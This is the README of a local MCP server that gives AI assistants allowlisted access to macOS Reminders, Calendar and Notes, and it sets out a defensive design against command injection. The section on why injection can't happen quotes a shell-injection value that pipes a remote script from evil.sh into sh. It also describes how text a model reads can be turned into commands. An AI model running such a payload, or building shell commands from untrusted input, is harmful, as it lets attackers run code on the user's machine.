Mac Organiser MCP

WHY  ·  TOOLS  ·  PRIVACY  ·  QUICK START  ·  CONFIGURATION  ·  HOW IT WORKS

Why

Most Apple MCP servers paste whatever the model sends straight into an AppleScript or a shell command. That means any text the model reads, such as a web page, an email or a shared Reminders list someone else can edit, can become a command running as you. They also tend to hand the model everything: every reminder, every note, every calendar.

This one takes the opposite approach on both counts:

• 🔒 Nothing the model sends can ever run as code. Each app has one fixed script, and your data travels to it only as a value.

• 🫥 Your assistant sees only what you allow. Lists, calendars and folders outside your allowlist are filtered inside the app itself, so they never reach the server, let alone the model.

• ✉️ Nothing outward-facing. It can't invite anyone, notify anyone or load anything from the internet.

Related MCP server: macos-mcp

What your assistant can do

Each app is off until you enable it. Writes can be switched off per app, and deletes are always opt-in.

Dates are ISO 8601: 2026-10-29, 2026-10-29T14:00 (your local time) or 2026-10-29T14:00+11:00.

Private by default

Never returned, whatever you set: event attendees, reminder creation and modification dates, the Recently Deleted notes folder, and the contents of locked notes.

Quick start

Requirements

Install

git clone <this repo> ~/repos/mac-organiser-mcp
cd ~/repos/mac-organiser-mcp
npm ci
npm run build

Works with

It's a standard Model Context Protocol server that runs locally over stdio, so it isn't tied to any one assistant. Every client needs the same three things: the command node, the path to dist/index.js, and your settings as environment variables.

claude mcp add -s user mac-organiser \
  -e MAC_ORGANISER_APPS=reminders,calendar,notes \
  -e REMINDERS_LISTS="Reminders,Groceries" \
  -e CALENDAR_CALENDARS="Work,Home" \
  -e NOTES_FOLDERS="AI" \
  -- node ~/repos/mac-organiser-mcp/dist/index.js

All three use the same mcpServers shape:

{
  "mcpServers": {
    "mac-organiser": {
      "command": "node",
      "args": ["/Users/you/repos/mac-organiser-mcp/dist/index.js"],
      "env": {
        "MAC_ORGANISER_APPS": "reminders,calendar,notes",
        "REMINDERS_LISTS": "Reminders,Groceries",
        "CALENDAR_CALENDARS": "Work,Home",
        "NOTES_FOLDERS": "AI"
      }
    }
  }
}

VS Code uses servers and an explicit type:

{
  "servers": {
    "mac-organiser": {
      "type": "stdio",
      "command": "node",
      "args": ["/Users/you/repos/mac-organiser-mcp/dist/index.js"],
      "env": {
        "MAC_ORGANISER_APPS": "reminders,calendar,notes",
        "REMINDERS_LISTS": "Reminders,Groceries",
        "CALENDAR_CALENDARS": "Work,Home",
        "NOTES_FOLDERS": "AI"
      }
    }
  }
}

[mcp_servers.mac-organiser]
command = "node"
args = ["/Users/you/repos/mac-organiser-mcp/dist/index.js"]

[mcp_servers.mac-organiser.env]
MAC_ORGANISER_APPS = "reminders,calendar,notes"
REMINDERS_LISTS = "Reminders,Groceries"
CALENDAR_CALENDARS = "Work,Home"
NOTES_FOLDERS = "AI"

Config formats change between client versions; if one doesn't match, check that client's MCP docs.

Permissions

macOS asks once per app the first time it's used. Click Allow.

Configuration

Everything is an environment variable. Flags take 1, true or yes.

If an app is enabled without its required allowlist, it stays off and the server says why on stderr.

How it works

flowchart LR
    client["AI client<br/>(Claude, Cursor, Codex…)"] -->|"tool call (JSON)"| zod

    subgraph server["Mac Organiser MCP · Node"]
        zod["Validate every argument<br/>(zod: IDs, dates, lengths)"]
        exec["execFile osascript<br/>no shell"]
        zod --> exec
    end

    subgraph mac["Inside the Apple app"]
        script["Fixed JXA script<br/>request arrives as one JSON value"]
        filter{"In your<br/>allowlist?"}
        data[("Reminders · Calendar · Notes")]
        script --> filter
        filter -->|yes| data
        filter -.->|no: 'not found'| script
    end

    exec -->|argv| script
    data -->|only allowed fields| exec
    exec -->|result| client

Why injection can't happen

The usual pattern builds a script out of the model's text, so a stray ' or " turns data into code:

// ❌ What many Apple MCP servers do
exec(`osascript -e 'set name of r to "${name}"'`);
//   name = `x'; curl evil.sh | sh; #`  →  runs curl

Here the script text never changes. The request is handed over as a separate argument, without a shell, and only ever read as data:

// ✅ Mac Organiser MCP
execFile('/usr/bin/osascript', ['-l', 'JavaScript', '-e', SCRIPT, JSON.stringify(request)]);

// Inside SCRIPT
function run(argv) { return handle(JSON.parse(argv[0])); }

The live test suite sends exactly those payloads, among others, and checks that they're stored as plain text.

Engines

Ground rules

Every change is held to these.

1. No code is ever built from input. Scripts are fixed text; requests travel only as data.

2. Filter at the source. Allowlists and field limits are enforced inside the Apple app, so hidden data never reaches Node, logs or the model.

3. Outside the allowlist means "not found". For reads and writes alike, with no hint that something exists.

4. Nothing outward-facing. No attendees, no invitations, no update emails, no network calls. Events with attendees are read-only here.

5. Never destroy what you can't restore. Deletes are opt-in. Notes are never overwritten or deleted, and recurring events are only ever changed one occurrence at a time.

6. Text stays text. Notes content is HTML-escaped, so the model can't add links, markup or tracking images.

7. Validate everything. IDs, dates, priorities and lengths are checked before anything runs, as a second line of defence.

8. Pinned dependencies. Exact versions with a lockfile, two runtime dependencies, no install scripts.

Limits

• Notes: no edit or delete. Notes can only be scripted by replacing a note's whole body, which can lose attachments, checklists and tables. For the same reason, append_to_note refuses notes that contain attachments, lists, tables or images.

• Calendar: no recurrence rules on new events, and events with attendees can't be changed or deleted here. Use Calendar.app for those.

• Reminders: no subtasks, tags, flags or locations; the scripting interface doesn't expose them.

• Duplicate names: if two calendars share a name, use the calendar id from list_calendars. Two Notes folders with the same name need renaming.

• macOS only, and the Mac has to be awake: everything runs locally.

Development

Live tests

npm run build && npm run test:live

The suite creates an MCP Test reminders list, calendar and notes folder, locks every allowlist to them and runs all 16 tools through a real MCP client: 43 checks, including injection payloads, allowlist escapes, recurring-event occurrences and due-date clearing. It deletes the fixtures when it's done, and it won't start if anything called MCP Test already exists. None of your other data is read.

Layout

src/
  index.ts        Registers each enabled app
  config.ts       Environment variables and their defaults
  osascript.ts    Runs a fixed JXA script with one JSON argument; shared helpers
  reminders.ts    Reminders tools and script
  calendar.ts     Calendar tools and EventKit script
  notes.ts        Notes tools and script
test/
  live.mjs        End-to-end suite over MCP
  fixtures.js     Creates and removes the MCP Test fixtures

Licence

MIT © 2026 Nick Sullivan